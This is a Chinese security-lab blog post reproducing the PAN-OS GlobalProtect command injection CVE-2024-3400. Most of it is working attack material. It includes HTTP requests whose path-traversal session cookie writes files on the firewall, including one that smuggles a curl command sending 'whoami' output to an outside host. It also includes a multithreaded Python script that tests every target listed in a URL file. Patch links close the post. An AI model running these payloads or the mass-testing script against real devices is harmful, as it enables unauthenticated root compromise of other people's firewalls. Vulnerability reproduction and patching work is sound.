【成功复现】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)

原创 弥天安全实验室 弥天安全实验室 2024-04-18 00:03

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0x00写在前面

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0x01漏洞介绍Palo Alto Networks PAN-OS是美国Palo Alto Networks公司的一款下一代防火墙软件。Palo Alto Networks PAN-OS 10.2、11.0、11.1存在命令注入漏洞，该漏洞源于GlobalProtect 功能中存在命令注入漏洞，可能使未经身份验证的攻击者在防火墙上以 root权限执行任意代码。0x02影响版本1、 PAN-OS 11.1. < 11.1.2-h3 2、 PAN-OS 11.0. < 11.0.4-h1 3、 PAN-OS 10.2.* < 10.2.9-h10x03漏洞复现
1.访问漏洞环境

2.对漏洞进行复现 POC （GET）漏洞复现POST /ssl-vpn/hipreport.esp HTTP/1.1Host: 127.0.0.1Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/mt417.txt;Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0             更新测试GET /global-protect/portal/images/mt417.txt执行命令POST /ssl-vpn/hipreport.esp HTTP/1.1Host: 127.0.0.1Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/ycurl${IFS}utkmwudrkm.dgrh3.cn?test=$(whoami);Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 03.python代码测试import randomimport stringfrom concurrent.futures import ThreadPoolExecutorimport urllib3import requestsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)resFile = open(“resFile.txt”, “w”)def GenerateRandomString(length): characters = string.ascii_lowercase + string.digits return ”.join(random.choice(characters) for _ in range(length))def CheckFile(url, proxy, filename): headers = { “User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36″ } resp1 = requests.get(url=url + f”/global-protect/portal/images/{filename}.txt”, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10) resp2 = requests.get(url=url + f”/global-protect/portal/images/{filename}_cve_test.txt”, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10) if resp1.status_code == 403 and resp2.status_code == 404: return True else: return Falsedef CreateFile(url, proxy): filename = GenerateRandomString(10) headers = { “Cookie”: f”SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{filename}.txt;”, “Content-Type”: “application/x-www-form-urlencoded”, “User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36” } resp = requests.post(url=url + “/ssl-vpn/hipreport.esp”, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10) if resp.status_code == 200: if CheckFile(url, proxy, filename): print(f”[+] {url}”) resFile.write(f”{url}\n”)def GetUrls(): with open(“urls.txt”,”r”) as f: for address in f.readlines(): address = address.strip() yield addressif name == “main“: proxy = { “http”: “http://127.0.0.1:8080”, # “https”: “http://127.0.0.1:8080” } #proxy = {} addrs = GetUrls() max_thread_num = 30 executor = ThreadPoolExecutor(max_workers=max_thread_num) for addr in addrs: future = executor.submit(CreateFile, addr, proxy)0x04修复建议目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://security.paloaltonetworks.com/CVE-2024-3400https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysishttps://github.com/h4x0r-dz/CVE-2024-3400?tab=readme-ov-filehttps://github.com/W01fh4cker/CVE-2024-3400-RCE?tab=readme-ov-file弥天简介学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。口号 网安引领时代，弥天点亮未来 知识分享完了喜欢别忘了关注我们哦~学海浩茫，予以风动，必降弥天之润！   弥  天安全实验室